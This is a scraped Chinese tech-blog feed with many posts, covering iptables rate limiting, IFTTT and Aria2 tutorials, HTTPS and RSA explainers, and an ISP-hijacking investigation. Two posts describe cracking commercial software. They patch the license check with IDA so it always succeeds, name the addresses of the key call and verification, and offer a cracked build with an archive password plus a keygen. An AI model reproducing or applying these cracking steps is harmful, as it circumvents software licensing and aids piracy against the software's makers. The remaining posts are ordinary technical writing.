关于 bad_tcp_packets 两条规则的详细介绍,请看中文文档的附录 B.2. 未设置 SYN 的 NEW 状态包 和附录 B.3. NEW 状态的 SYN/ACK 包。
hashlimit match 与 limit match 差不多,都能用来限制每段时间中通过的包数,但 hashlimit 还可以用来限制流量,它也提供了更多匹配模式。
--hashlimit-name
设置这个匹配的名字,记录文件以此为名保存在 /proc/net/ipt_hashlimit/ 下。
--hashlimit-upto
匹配小于这个数的包,--hashlimit-above
匹配大于这个数的包,也可以加上 kb、mb 或 gb 等来匹配流量,时间可以是每秒 /s(econd)、每分钟 /m(inute)、每小时 /h(our) 或每天 /d(ay)。
当包数或流量超过 --hashlimit-burst
的值后,--hashlimit-upto
或 --hashlimit-above
才开始生效。如果在上个时间段中,没有足够的包或流量通过,upto 或 above 是可以累加的,但最多不会超过 burst 的值,burst 的值也不能比 upto 或 above 的值小。
--hashlimit-burst
与 (--hashlimit-upto
或 --hashlimit-above
) 是必需的。
--hashlimit-mode
的值可以是 srcip(来源 IP)、srcport(来源端口)、dstip(目标 IP)或 dstport(目标端口)中的一个或多个。
--hashlimit-srcmask
设置掩码,值为 0 到 32,比如:如果值为 24,则匹配 C 类网段(像 192.168.1.1 ~ 192.168.1.254)。
--hashlimit-htable-expire
设置 hash 的过期时间,单位毫秒。
注意:limit match 中的 --limit
不能取反,中文文档中的相关说明是错误的。
-m state --state ESTABLISHED,RELATED -j ACCEPT
这条规则放行已有的连接和与其有关的连接,也就是说只有新的连接会继续在表中匹配,同链中后面的规则都是针对状态为 NEW 的包。
recent 也是用来匹配每段时间内通过的包数的,但它可以更自由地设置单位时间。
--name
设置这个匹配的名字,如果没有设置,则使用 DEFAULT
。
--set
记录 IP 到列表中,如果已有这个 IP,则更新列表。
--remove
检查 IP 是否在列表中,如果有则从列表中移除并返回 true,如果没有则返回 false。
--set
、--rcheck
、--update
和 --remove
不能同时设置。
--rsource
匹配或保存来源 IP 到列表中(默认设置),--rdest
匹配或保存目标 IP 到列表中。
--mask
在列表中加入掩码。
--seconds
设置单位时间(秒)。
--hitcount
在设置时间中,来自或发往一个 IP 的包数等于或大于这个值则匹配。它的最大值为 xt_recent 内核模块中 ip_pkt_list_tot
的值,默认是 20。
要修改 ip_pkt_list_tot
的值,请在 /etc/modprobe.d/
下新建一个文件,文件名随意,加入:
options xt_recent ip_list_tot=1000 ip_pkt_list_tot=200 ip_list_hash_size=0
ip_list_tot
是记录每个表通过的包数;ip_pkt_list_tot
是记录每个地址通过的包数;ip_list_hash_size
是 hash 表的大小,其值为 0 则根据 ip_list_tot
来计算。
CentOS 等发行版的用户只需关闭 iptables,然后使用命令 modprobe -r xt_recent
卸载 xt_recent 模块,然后再开启 iptables 就会重新加载 xt_recent 模块了,其他发行版的用户只能重启系统了。
connlimit match 用来限制并发连接数。
--connlimit-upto
匹配小于这个连接数的连接,--connlimit-above
匹配大于这个连接数的连接。
--connlimit-mask
设置掩码,值为 0 到 32(IPv4)或 0 到 128(IPv6)。如果未设置,则使用协议所允许的最大值:32(IPv4)或 128(IPv6)。
--connlimit-saddr
限制来源 IP(如果 daddr 未设置则为默认),--connlimit-daddr
限制目标 IP。
limit_packets
链通过 hashlimit match 来限制流量,通过 recent match 来限制一定时间内新建连接的数量,通过 connlimit match 来限制同时新建连接的数量。你也可以通过对协议、端口或 IP 等的过滤,来分别控制不同应用的连接数或流量。
--sport
匹配来源端口,--dport
匹配目的端口。
--icmp-type
匹配 ICMP 类型,你可以在中文文档的附录 C. ICMP 类型中找到所有的 ICMP 类型。你可能还需要做相应的频率限制以防攻击,请参考上面的规则。
-i
匹配网络接口。
这种方法也是反向图灵测试的一种,但最大的问题是:任何请求都是可以模拟的,所以这种方法只能防拿着别人写好的垃圾评论机的菜鸟。如果真有人那么蛋疼,专门为这种方法写一个垃圾评论机,是防不住的,这也是我为什么不用 session 而用 cookie 的原因。目前唯一有效的反向图灵测试是复杂的验证码。
代码分为两部分,前端是 javascript,后端是 php,很简单,就不解释了。
]]>
我已经记不清这是第几次向周围人推荐 IFTTT 了。可以这么说,熟练使用 IFTTT 之后,就会发现什么使用手机应用控制的台灯、家里被盗自动发短信的报警器都是浮云。IFTTT 唯一的功能就是把用户周围一切的一切联系起来,完全可被认为是现代“物联网”的雏形——当然,经过三四年的发展,它已经不只是“雏形”了。
IFTTT 使用非常容易,这里容许我擅自以最简单的“极端天气提醒”为目的做个教程吧:
1. 首先需要在 ifttt.com 注册一个账户,然后前往对应电子邮箱按说明激活,并返回网站登录刚刚注册的账户。(无图)
2. 成功登录会进入叫做 dashboard 的页面,这里是个人主页,包含已共享任务、私有任务、IFTTT 社区和邀请好友四个部分。点击 “Create a Recipe” 就可以新建一个任务:
3. IFTTT 的任务有两个重要组成部分:条件、动作。IFTTT 会周期性检查“条件”,当“条件”中指定的触发器生效时,IFTTT 会在云端自动执行“动作”中指定的内容。点击 “this” 并下拉到 “weather” 将“天气变化”触发器加入“条件”:
4. 首次“天气”需要激活,因为 IFTTT 并不能通过一个电子邮箱推断出用户住址。点击 “activate” 并在弹出窗口中输入城市拼音,”search” 到具体结果,选中并 “activate” 激活城市天气。(无图)
5. “天气变化”是一个很概括的词组,IFTTT 需要一个具体的“触发器”,比如选择“天气情况发生变化”:
6. “天气情况发生变化”似乎还不够详细,默认为“将要下雨”,用户可以也可以指定“下雪”、“阴天”或“晴朗”作为“条件”。随后点击 “Create Trigger” 完成“触发器”设置:
7. 接下来要设置的是“动作”,点击 “that” 并选中 “Email” 将“发邮件”作为“将要下雨”时执行的内容。“发邮件”分类里只有“给我发送邮件”的选项,点击 “Send me an email”,设置好主题、内容后 “create action” 就会看到最后确认页面,上面很清楚地叙述了这个任务的目的:如果当前天气状况将改变为“下雨”,向 xxx@xxx.xxx 发送邮件。
8. 至此,点击 “Create Recipe” 就可以在以后当地将要下雨时得到邮件通知。IFTTT 的天气检测时间为未来 24 小时,完全不存在雨点砸下来时才收到邮件的尴尬……
哎,一个天气任务竟然折腾了 500 字……其实恶劣天气推送只是 IFTTT 最基本的功能,像动漫等更 (RSS)、出门关灯 (iOS Location) 都可以通过 IFTTT 设置好相应任务,也不复杂。再高级的使用方法就要灵活结合各种服务和添加标签、通配符,比如有些网站允许用户发送邮件命令,通过 IFTTT 建立任务并将“动作”设置为“发送 Gmail 给 xxx@xxx.xxx”就可以形成一环扣一环的连锁反应,从而大大减轻用户的压力。
IFTTT 目前仍在测试,且拥有很大发展空间,随着与诸如 App.net / GitHub 等知名产品的整合,相信未来的 IFTTT 真的能够实现它宣传语中所说——“让互联网为我们服务”。
PS: “轻松下”要不要增加个“通过邮件建立离线下载”的功能,这样结合 IFTTT 对 Gmail 和 Dropbox 的控制,就是完全无人值守“离线”下载了。
]]>话已至此,非极客用户请不要继续看下去,省得骂我把“简单的事情变复杂”。可是推荐“QQ 旋风”并不是我的目的,文章还是要继续写,是看是关还在您手中掌握。
Aria 2 下载器出现有年头了,最早一个版本可以追溯到 2006 年,那时还不支持 Windows 操作系统。目前版本更新到 1.18.3,也做到了主流操作系统全兼容(没找到合适版本?恐怕用的不是主流操作系统吧……),甚至还分出了 32 位和 64 位版(我尚不清楚对于一个下载器来说内存有多么重要)。Aria 2 本身是一款纯命令行工具,看来 6 MB 的体积没能容下精心设计的图形界面,但这绝不妨碍它成为一款使用体验上佳的下载器——退一步讲,没有图形界面也算变相避开了广告等无关因素的骚扰吧。
Aria 2 支持 BT、磁力链和普通 HTTP(s) / FTP 下载,没能解析 ed2k:// 是个遗憾。作为下载器中的高端货,设置磁盘缓存、多线程、远程服务器登录和上下行限速等不在话下,它甚至能够处理 URL 通配符、从多个地址下载/合并同一文件、加载 Cookie / Header、伪装 User Agent 和允许远程控制等等等等——这些资深参数光听一遍就能把“迅雷”、“旋风”甩出几条街。说实话,用户能不能把每一项都用得上我不敢说,本着“有总比没有好”的原则,多不少几个功能却减小了文件体积,这绝对是件好事。
恐怕有人又要找茬了——“减小了文件体积”是因为没有图形界面吧?好吧,鉴于“Windows 命令提示符”不方便复制、粘贴,还是弄一个美丽的图形界面看着顺眼。Aria 2 Web-UI 是一个在线图形界面(下载到本地也可以使用,可惜在我机器上总会出现这样那样的问题……),完美支持 Aria 2 的各种功能,包括自定义客户端地址进行远程控制。这下某些人总没话说了吧……
这个地址是“一键配置”版 Aria 2 v1.18.3(自动后台运行 Aria 2 并链接到 Web-UI):
https://dl.dropboxusercontent.com/u/89277841/Aria%202%20with%20GUI.exe
计算机高手们不必理会上面的链接,手动配置甚至用不了 5 分钟(除非网速足够慢)。另外注意 Aria 2 没有图标,可不要随手把任务栏上黑乎乎的“命令提示符”关掉……
—— 更新 ——
关于下载器(此章节不止谈及 Aria 2)的“磁盘缓存” (Disk Cache) 功能,我觉得有必要说一下。最初“磁盘缓存”是为了避免短时间多次进行硬盘写入产生磁盘碎片而设计的,举个例子:假设下载器以 1 MB/s 下载文件,如果完全关闭“磁盘缓存”,每 1 秒硬盘都会收到 1 MB 数据的写入请求;如果开启了 50 MB 的“磁盘缓存”,那么下载器会把小于 50 MB 的下载数据临时存放在内存里,达到 50 MB 之后再统一提交写入请求。现在很多下载器都推荐把“磁盘缓存”设置为 256 MB - 512 MB,实际上在如今功能非常完善的操作系统和自带缓冲区的硬盘这种环境下已经收效甚微了,甚至还会与最初的理念背道而驰。理由如下:
配置什么的就不要期待了,最差的 1核 CPU + 512MB 内存 + 1M 带宽,折腾下或者跑个流量不大的网站倒没问题。
系统是 Ubuntu Server 13.10 x64,禁了密码登陆,清了 root 的密码,改了 sshd 的端口,只允许公钥登录。
这句话是不是有点多余了呢,还是说下吧,你有完整的服务器权限,你得到的服务器跟直接从阿里云买的没有任何区别,清了 root 的密码只是限制了本地登录,ssh 不受影响,如果你删除了 ~/.ssh/authorized_keys
中我的公钥,那么我也不能登录了,只有你一个人可以。
先说下限制吧,你想怎么折腾都行,但请不要用于挖矿、闲置以及违反阿里云服务器 ECS 服务条款的用途。
请先在下面留言,然后把你的公钥通过邮件发给我(如果被选中),登录到服务器后,你可以自由决定是否删除 ~/.ssh/authorized_keys
中我的公钥。
如果你想放网站而有没有已备案的域名,我可以提供已备案的二级域名。如果你对 Linux 不是很了解,我可以提供一些技术支持。
如果你的网站流量不是很大,在服务器到期后,我可以提供另一台低负载、目前用于生产环境的服务器,但出于安全考虑,不提供 ssh 登录权限。
至于赠送规则,截止到下周二(1月21日)下午 03:00,如果留言数不超过 10 个,那就先到先得,如果超过了,那就用 总评论数 x 下周二上证指数收盘价的小数点后两位,得到的结果四舍五入取整数。
比如总评论数 67,上证收盘指数 2004.95,那就是 67x0.95=63.65,四舍五入为 64 楼。
每一个独立的评论算一楼,你可以在相应楼层中评论,不算一楼,但如果以同一身份或同一人试图以另一身份重复留言或刷楼(判断方法包括但不限于 用户名、邮箱、UserAgent 和 IP)则无效,顺延至下一楼。
恭喜 5 楼,@4acms。
根据规则,今日上证收盘价为 2008.31,总楼层数 17,17x0.31=5.27,四舍五入为 5 楼。
由于活动是在本博客上进行,无法保证透明度,如果你有任何疑问或质疑,请留言或给我发邮件。
]]>
Nemo 虽然没有 Windows 下的 Total Commander 那么强大,但作为一个文件管理器已经足够了,而且能与 GNOME 完美结合。
首先,安装需要的程序,dconf 是一个编辑系统配置(主要是桌面环境)的程序。
sudo apt-get install dconf-tools nemo
如果你需要使用 Ubuntu 自带的归档管理器——File Roller,不要忘了把 nemo-fileroller 也装上。
然后禁用 Nautilus 绘制桌面图标:
gsettings set org.gnome.desktop.background show-desktop-icons false
当然,你也可以使用 dconf-editor 来修改。
Nemo 默认开启了绘制桌面图标,这时候打开它就应该可以了。如果你想使用 Nautilus 来绘制桌面图标,而不是 Nemo 的话:
gsettings set org.nemo.desktop show-desktop-icons falsegsettings set org.gnome.desktop.background show-desktop-icons true
这样做以后,会使用 Nautilus 来打开桌面上的文件夹,而不是 Nemo。
最后,把 Nemo 设置成默认的文件管理器。
xdg-mime default nemo.desktop inode/directory application/x-gnome-saved-search
如果你想让 Nautilus 重新成为默认的文件管理器的话,首先按照上面的说明使 Nautilus 来绘制桌面图标。
然后使用如下的命令设置 Nautilus 为默认的文件管理器。
xdg-mime default nautilus.desktop inode/directory application/x-gnome-saved-search
最后卸载 Nemo 就可以了。
sudo apt-get purge nemo]]>
在工具的选择上,OllyDbg 虽然能保存修改后的文件,但只能分析 32 位 Windows 程序;IDA 十分强大,支持 32 位和 64 位的 Windows、OS X 和 Linux 程序,但又不能保存修改后的文件。
其实 IDA 有一个隐藏的 patch program 功能,把配置文件 cfg\idagui.cfg
中的 DISPLAY_PATCH_SUBMENU
的选项改为 YES
,就会在 Edit 菜单下多出一个 Patch Program
子菜单。
然后定位到需要修改的地方,使用 Edit -> Patch Program -> Assemble
功能修改代码。
需要注意的是,这个功能并不像 OllyDbg 的修改代码功能,可以自动使用 nop
填充剩余空间,所以你要自行修改。
IDA 并不会对原始文件做任何修改,保存也只是保存到数据库中。但我们可以切换到 Hex View,根据当前的 offset 和修改后的内容,使用 WinHex 等十六进制编辑器修改原始文件。
最后附上已破解的 Build 3061,我会尽量跟进的。License 可以使用原来的 keygen 生成。把已破解的文件根据原始文件名修改后覆盖上去就可以了,由于是在 Windows 下修改和打包的,OS X 和 Linux 用户需要给文件添加可执行权限,使用命令 chmod 755
或 chmod a+x
。
解压密码:sinosky.org
]]>我的思路大体上没有错,关键 call 也找对了,可是破解的方法还停留在修改跳转上。
从看雪论坛上找到了一份破解,尊重作者,就不直接放下载链接了。
虽然我没有跑破解后的文件,不过根据截图和作者的描述来看,他是把所有有验证注册地方的跳转全改了,即验证通过跳转、不通过不跳转都改成跳转,验证通过不跳转、不通过跳转都改成不跳转,而真正验证的地方没有改。
换句话说就是不能只用十六进制编辑器改一个字符就完了,从破解的角度来说也不是很完美。
对于有一定基础、对破解这个软件有兴趣的同学可以看这个和这个帖子,阐述了作者的思路,也就是寻找关键 call。
对于想了解破解而又不想学汇编的同学可以看下这个帖子,讲解了一些基本知识。
Update:
找到了另一份破解,这份破解比上面的要好。可惜作者没写思路,我对反汇编又一窍不通,不过通过比较,找到了作者修改的地方。
从图中可以看到,00256C8B
显然就是关键 call,0025571F
就是验证 license 的地方,256C90
传递验证结果,所以只要把这里的验证结果改成始终是成功,也就是传递 1,就可以了。
当然,license 必须符合规律才能通过最初的验证,详细可以看该作者的另一篇文章。
再来看看 OS X 下的,如图。SETNZ
等于 SETNE
,不等于则一或非零则一,SETZ
等于 SETE
,等于则一或零则一。
Linux 下与 Windows 下基本一致,不再贴了。
虽然原来的 keygen 不能用了,但你可以使用 keygen 生成 license,然后把破解后的程序覆盖到原始文件上,最后输入生成的 license。
相关资料:
]]>为保证顺利备案,sinosky.org 域名将暂停解析,关站期间请使用 http://www.sinosky.us 访问博客,使用 http://dl.sinosky.us 访问离线下载。
本来以为一堆人抢免单,没想到竟然中了,明明从来不相信运气、也没中过什么奖……可惜买的是最便宜的一款。
2014 年 1 月 13 日,备案完成,将于今晚进行服务器转移。
]]>此图片取自 Google+ 今日热门,原作者未知。图片由 Yi 翻译修改。
]]>本文仅列举了部分网络传输协议,如想了解更多,请看下面的相关阅读。
本文部分内容来自中文维基百科。
笔者非科班出身,错误与纰漏在所难免,欢迎批评指正。
IP、端口与协议可谓是网络上两台计算机间进行可靠的数据传输所必需的三要素,三者相辅相成,缺一不可。
IP(Internet Protocol),网际协议,或称互联网协议,是用于报文交换网络的一种面向数据的协议。
其实 IP 也是一种协议(protocol),为什么把它与其他协议区分开呢?
举个例子吧,如果把计算机比做人,那么 IP 就是人名,如果你在人群中喊:“那个谁,过来一下”,恐怕没人知道你喊的谁。
有了 IP 地址(IP Address,Internet Protocol Address的缩写,互联网协议地址,又译网际协议地址),就相当于知道了人名,也就能找到这台计算机了。
IP 是在 TCP/IP 协议中网络层的主要协议,任务是仅仅根据源主机和目的主机的地址传送数据。为此目的,IP 定义了寻址方法和数据报的封装结构。
IP 地址在当前网络具有唯一性。
有知道 MAC(Media Access Control,介质访问控制)的同学可能会问了,MAC 地址(MAC Address,Media Access Control Address的缩写,媒体访问控制地址,或称硬件地址)也具有唯一性,为什么不能用 MAC 地址替代 IP 地址呢?
其实认真了解下 IP 地址和 MAC 地址就能很容易找出差别了。
不过还是举个简单的例子吧,把 MAC 地址比做身份证号,IP 地址比做手机号,两者都可以找到这个人,MAC 地址还能找到这个人什么时候出生和在哪出生等信息,但却不能找到这个人现在在哪,而 IP 地址则能找到这个人现在在哪。
当然,这个比喻不太恰当,因为你可以带着手机号漫游全国,但不可能带着 IP 地址这样做,因为 IP 地址是按地域和运营商事先分配好的。
本文所指的端口(port,台译“埠”)是协议端口(protocol port),关于协议,我们在下面再说。
我们还是把计算机比做人,知道与喊的哪个人了,但那个人用什么来听声音呢?总不能用眼睛听、用鼻子看、用耳朵闻吧,没错,端口就相当于眼、耳、口、鼻、手,分别被不同的程序绑定,用于看、听、说、闻、写。
不同于人的五官,一个 IP 地址可以有 65536(即 2^16)个端口。
端口是通过端口号来标记的,端口号(port numbers)只有整数,范围是从0 到65535(2^16-1)。
一个进程可以绑定多个端口,但一个端口只能被一个进程绑定。
一些端口已经被预先分配了,比如常见的 80 端口分配给了 http 协议、443 端口分配给了 https 协议,在 IANA 网站上可以找到完整的列表。
你也可以让别的进程来绑定这些端口,但通常这都是不推荐的。
大部分浏览器在使用 http 协议访问 80 端口、https 协议访问 443 端口时不会显示端口号,Google Chrome 和 Mozilla Firefox 在使用 http 协议时也不会显示 http://,这当然不是因为它们不是使用 http、https 协议或访问的不是 80、443 端口,只是为了方便用户而隐藏了。
本文所指的协议(protocol),是网络传输协议或简称传送协议(Communications Protocol),是指计算机通信或网络设备的共同语言。
共同语言,什么意思?
我们再举例说明,比如,你对着聋哑人演讲、给盲人写信;对美国人说阿拉伯语,对法国人说俄语,对中国人说意大利语,结果就是,没人明白你想表达什么。
只有采用双方都能理解的、事先约定的协议传输数据,对方才能知道你想表达什么。
现在最普及的计算机通信为网络通信,所以“传送协议”一般都指计算机通信的传送协议,如:TCP/IP、NetBEUI、DHCP、FTP等。
然而,传送协议也存在于计算机的其他形式通信,例如:面向对象编程里面对象之间的通信;操作系统内不同程序之间的消息,都需要有一个传送协议,以确保传信双方能够沟通无间。
常见的协议有 HTTP(HyperText Transfer Protocol,超文本传输协议)、HTTPS(Hypertext Transfer Protocol Secure,超文本传输安全协议)和 DNS(域名系统,Domain Name System)等。
相关阅读:
]]>
以下内容引自维基百科。
公开密钥加密(英语:Public-key cryptography,也称为非对称(密钥)加密),以单向函数与单向暗门函数为基础,为发讯与收讯的两方创建密钥。
非对称密钥,是指一对加密密钥与解密密钥,这两个密钥是数学相关,用某用户密钥加密后所得的信息,只能用该用户的解密密钥才能解密。如果知道了其中一个,并不能计算出另外一个。因此如果公开了一对密钥中的一个,并不会危害到另外一个的秘密性质。称公开的密钥为公钥;不公开的密钥为私钥。
如果加密密钥是公开的,这用于客户给私钥所有者上传加密的数据,这被称作为公开密钥加密(狭义)。例如,网络银行的客户发给银行网站的账户操作的加密数据。
如果解密密钥是公开的,用私钥加密的信息,可以用公钥对其解密,用于客户验证持有私钥一方发布的数据或文件是完整准确的,接收者由此可知这条信息确实来自于拥有私钥的某人,这被称作数字签名,公钥的形式就是数字证书。例如,从网上下载的安装程序,一般都带有程序制作者的数字签名,可以证明该程序的确是该作者(公司)发布的而不是第三方伪造的且未被篡改过(身份认证/验证)。
常见的公钥加密算法有: RSA、ElGamal、背包算法、Rabin(RSA的特例)、迪菲-赫尔曼密钥交换协议中的公钥加密算法、椭圆曲线加密算法(英语:Elliptic Curve Cryptography,ECC)。使用最广泛的是RSA算法(由发明者Rivest、Shmir和Adleman姓氏首字母缩写而来)是著名的公开金钥加密算法,ElGamal是另一种常用的非对称加密算法。
以下内容同样引自维基百科。
RSA加密算法是一种非对称加密算法。在公开密钥加密和电子商业中RSA被广泛使用。对极大整数做因数分解的难度决定了RSA算法的可靠性。换言之,对一极大整数做因数分解愈困难,RSA算法愈可靠。
针对RSA最流行的攻击一般是基于大数因数分解。1999年,RSA-155(512 bits)被成功分解,花了五个月时间(约8000 MIPS 年)和224 CPU hours 在一台有3.2G中央内存的Cray C916计算机上完成 。
2002年,RSA-158也被成功因数分解。
2009年12月12日,编号为 RSA-768 (768 bits, 232 digits)数也被成功分解。这一事件威胁了现通行的1024-bit密钥的安全性,普遍认为用户应尽快升级到2048-bit或以上。
我们网站所使用的证书就是采用 RSA 加密的,目前大部分网站的证书都采用 RSA 2048-bit 加密,这是一种比较安全的加密方式,而证书的颁发者,大都是受信任的第三方证书颁发机构,一般内置在操作系统或浏览器中。
可能有人可能会问了,怎么保证证书颁发机构的安全呢?举个简单的例子,我们都知道奥巴马是谁,长啥样。就算是一个黑人穿着西装,从空军一号上下来,说我是奥巴马,恐怕也没人信。而如果一个骗子,穿着军装,说我是某某军队的政委,恐怕还真有人信。如果奥巴马指着一个人说他是下任美国国防部部长,估计没有人会质疑。同样的道理,一个大家都知道的权威证书颁发机构颁发给一个网站的证书,可以证明发送给客户端的数据确实来自于这个网站,而不是其他人。
服务器与客户端之间的通讯,一般采用 SSL/TLS 协议加密,下面简要介绍下它的工作方式(引自维基百科)。客户端要收发几个握手信号:
ClientHello
消息,说明它支持的密码算法列表、压缩方法及最高协议版本,也发送稍后将被使用的随机数。ServerHello
消息,包含服务器选择的连接参数,源自客户端初期所提供的 ClientHello
。目前,大部分 web 服务器(如 nginx、apache 等)都使用 OpenSSL 作为加密模块,在这里可以找到 OpenSSL 所支持的加密方法,在这里找到部分加密方法的安全性对比。
具体到亚马逊这个网站,可以看到,无论是提交订单还是账户管理,都使用 https 协议,也就是说是加密的。亚马逊的证书采用 RSA 2048-bit 加密,连接采用 SSL_RSA_WITH_RC4_128_SHA 加密,都是比较安全的加密方式。
本站则首选更为安全的 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 加密方法,但有部分浏览器不支持这种加密方法,如 Firefox 只支持 TLS_ECDHE_RSA_WITH_RC4_128_SHA 加密方法。
综上所述,只要保管好自己的密码等私密信息,网站也使用安全的加密方法传输数据,同时网站做好数据库的防护,防范好拖库等泄漏事件,那么网购过程就是安全、可靠的。
相关阅读:密码学
]]>
前两天家里的固话欠费停机了,宽带也一块停了,缴费后虽然马上就开通了,但奇怪的事也跟着来了。
访问卓越亚马逊的主页(www.amazon.cn)会有跳转,最后的链接有个小尾巴,看着像推广链接。
我用的是 Google Public DNS,电脑也从来没中过毒,于是就怀疑是运营商的问题。
重新拨号后,分配给我的 IP 段变了,劫持也没了,于是就没再管它。
可是最近几天劫持时有时无,有时候重新拨号也解决不了,试试用 curl
测试了一下,果然是 TCP 劫持。
curl -ivL http://www.amazon.cn
1 |
|
curl -ivL http://hd.baofeng.com/go/aHmDz28.html
1 |
|
IP 确实是亚马逊官方的,除了是被运营商劫持了就没有别的解释了。不过他们还真不嫌麻烦,竟然有 3 层跳转,后两个还是用 js 跳转的,真恶心。
第一个网站 shelive.net 查询 whois 是在万网注册的,公司也写的是万网,不过备案信息是 赤峰一帆网络服务有限责任公司,许可证号是 蒙ICP备09000034号-1,估计是假的了。第二个网站 baofeng.com 就没什么好说的了,暴风影音的,有安装暴风影音的赶紧卸载了吧,这样的公司做出来的软件估计也一堆后门。
刚才已经投诉到中国联通了,如果不给解决就投诉到工信部。
但是也不能指望联通马上解决,只有强制使用 https 访问亚马逊了,在 chrome://net-internals/#hsts
加入了 amazon.cn。国内的电商不重视加密也就罢了,没想到亚马逊也不重视,甚至美国亚马逊(www.amazon.com)的首页还强制使用 http(对 https 做了 301 跳转)。
12月11日 联通公司派了个人来,正好劫持也消失了,给他看上面的记录,他说看不懂,又说是亚马逊的服务器问题。我就不明白了,亚马逊会在自己首页做跳转?走之前留下台笔记本电脑,让我晚上用他的电脑试试。
重新拨了几次号,发现只在特定 IP 段有劫持,真奇怪。
又尝试了几次发现有时候跳转的网址还不一样。
curl -ivL http://www.amazon.cn
1 |
|
curl -ivL "http://uusee.adsame.com/c?z=uusee&la=0&si=35&ci=46&cg=41&c=421&or=260&l=1038&bg=1038&b=1890&u=http://www.amazon.cn/?tag=nd220035-23"
1 |
|
这下更恶心了,adsame.com 这个网站归 上海传漾网络科技有限公司 所有,估计就是专门做这个的了。广告可以有,但这种广告决不能忍。
尝试使用跃点跟踪,但每次拨号后,无论是否被劫持,本地路由和省级路由甚至联通骨干网的 IP 总不一样,看来不是我能追踪到的了,放弃。
12月12日 目前劫持已经消失,说下我的猜测吧。
根据我在本地 tracert
(Linux 下为 tracepath
)的结果,所有路由都是联通的 IP,从本地联通到省级联通再到联通骨干网,然后到北京联通,最后是亚马逊的服务器,中间没有其他的运营商。有可能是中间哪个路由被入侵了,亦不排除内部作案。当然也有可能是亚马逊自己的服务器被入侵或内部作案,这点很难说清。
因为 TCP 劫持的隐蔽性和互联网的庞大性,终端用户很难查出是哪一点出现了问题。作为网站一方,我们也无法防止运营商 TCP 劫持,只有尽量使用 https 这种加密协议,少用 http 这种明文协议。
忽然想到可以利用 TTL 来查找到底是哪一点出现了问题,因为一般的 TCP 劫持不会处理 TTL,可以通过比较 TTL 的不同来分析,可惜现在劫持已经没有了。
]]>照以往惯例,下载 YouTube 影片少说也要多装个 Chrome 插件(多则还需要下载桌面版程序)。众所周知,能够“窃取” YouTube 影片地址的插件绝不可能老老实实地扔在 Chrome 在线商店里,只有第三方 CRX 文件才有如此威能。正当我打开插件开发者网站准备下载单独提供的 CRX 文件时,大大的红字几乎充满了整个屏幕:“Windows 版 Google Chrome 即将全面禁止非 Chrome Web Store 来源的第三方插件!”呜呼,这个是个重磅新闻。第一次 Google 对 Chrome 做“安全改动”之后,Chrome 便不能直接“点击安装”第三方插件了;而后不久,Chrome 的安全系数再次得到加强,直接把 CRX 文件扔进 Chrome 数据目录的插件会在下一次 Chrome 运行时以黄色感叹号标出,并提示用户立即卸载……本以为插件战争就此告一段落,可惜不然,本月 13 日 Google 宣布:自 2014 年 1 月开始,Windows 版 Google Chrome 浏览器仅允许用户安装来自 Chrome Web Store 的第三方插件,所有以本地文件导入、注册表指向等方式安装的 CRX 格式插件均会停止工作!
这还没完……
失去了插件这个方便快捷的强力帮手,我们还有在线视频地址解析网站不是?抱着另外一线希望,我只得尝试在线解析后下载。效果不错,很快高清片源的下载地址便暴露出来,令人有些不解的是,1920 × 1080 的资源出现了两个下载地址,分别标注的是 (Audio Only) 和 (Video Only),这是在搞什么?先不管了,能够正常下载到就是好事,大不了再合并嘛……不一会儿我就得到了两个同名文件,后缀分别是 MP4 和 M4A,看起来很不错的样子;播放一下,效果绝赞。现在,只要找个工具把这两个文件合并一下,马上就可以发给好友分享了。首选工具是 MKV Toolnix,MKV 可是大名鼎鼎的“全兼容”容器,所有热门资源几乎都可以不经转换无损封装进 MKV,对付 MP4 和 M4A 肯定不在话下。岂不知,奇怪的事情开始一个接一个地发生,无论是 MP4 还是 M4A 文件,MKV Toolnix 始终提示“所选文件不存在可播放的轨道”。
好吧,看来 MKV Toolnix 还真有挑剔的时候。第二个尝试的工具是 Bink Video Tools,各种大型游戏的过场动画都是使用这个工具封装成 BIK 文件的,也是比较流行的格式之一。选中文件,正方形“Bink it!”按钮点下去,剩下的应该就是等待了。可惜,Bink Video Tool 也没能弄懂 Google 对 YouTube 到底做了些什么,我只得到了:
我很不解,明明播放时好好的,Windows 也能够给出影片缩略图(这说明没有使用什么特别的格式),为什么就是不能合并呢?
最终乱找了一番,发现 Google 在 10 月底、11 月初附近的时间开始在 YouTube 上试行叫做 adaptive bitrate streaming 的串流方法。目前,所有 1080p 高清分辨率的影片均以这种方式串流,用户不仅在下载时会得到音、视频分离的同名文件,进行播放、解码时也会遇到各种问题。庆幸的是,YouTube 在线观看并没有受到影响。不知,这是不是 Google 有意而为之呢?
]]>官方有一个很具创意的宣传短片,这里提供百度网盘的在线观看/下载地址。可以访问 YouTube 的读者自行绕道去官方主页,忘了说,官网地址是直白的:fleksy.com
http://pan.baidu.com/s/1ciKWv
如果只看到官方视频就觉得这个键盘已经很棒了,那你还是低估了 Fleksy 团队的野心。Fleksy 甚至与 Leap Motion 合作推出了“隐形”的悬空虚拟键盘;似乎在不远的未来,与计算机沟通除了全语音控制外又多了一种很酷的交互方式……地址如下。
http://pan.baidu.com/s/105tdp
Fleksy 的目标是实现移动设备上的单指盲打。这点与 Google 键盘引入滑动输入的目标一致(滑动输入的创始者可不是 Google,最早提供滑动输入的也是一款第三方键盘——Swype),只不过两家公司分道扬镳:Google 放弃了传统“点按”的输入方式而改为“滑动”来完成盲打的使命;Fleksy 则是在“点按”保留的基础上,从键位/词汇分析和高容错率上下了功夫。另外 Fleksy 考虑到 Google 没有很好地解决的问题——盲打时如何选词。对此 Fleksy 在设置中加入了“语音反馈”功能,开启后配合上下选词手势可以实时朗读当前选中的候选词;Google 键盘则仅能在词语被输入后读出输入的内容。
具体使用方法不多介绍,应用安装后第一次运行会有很友好地新手教程(也可以手动进入教程),快用 Android 体验吧!哦?你说为什么没有 iPhone 的事儿?(事实上官方还真有个残废的 iOS App)请您找乔布斯老人家要键盘 API 去……
]]>/etc/init.d
中,格式都一样,只不过启动命令有些不同。你需要使用 chkconfig
, sysv-rc-conf
或 update-rc.d
添加它们到系统服务中。
不要忘了更改文件权限为 755(-rwxr-xr-x
)、所有者为 root、群组为 root。
你也可能需要更改程序路径、配置文件路径、日志文件路径或 pid 文件路径。
使用脚本启动程序要 5-6 秒,不是因为程序需要 5-6 秒才能启动,只是为了保证程序能正常运行。
像没有配置文件这种错误进程可能会马上退出,并返回正确的状态码;但如果配置文件有错误,或者因为其他原因,无法正常启动,可能就无法得知进程已经退出。
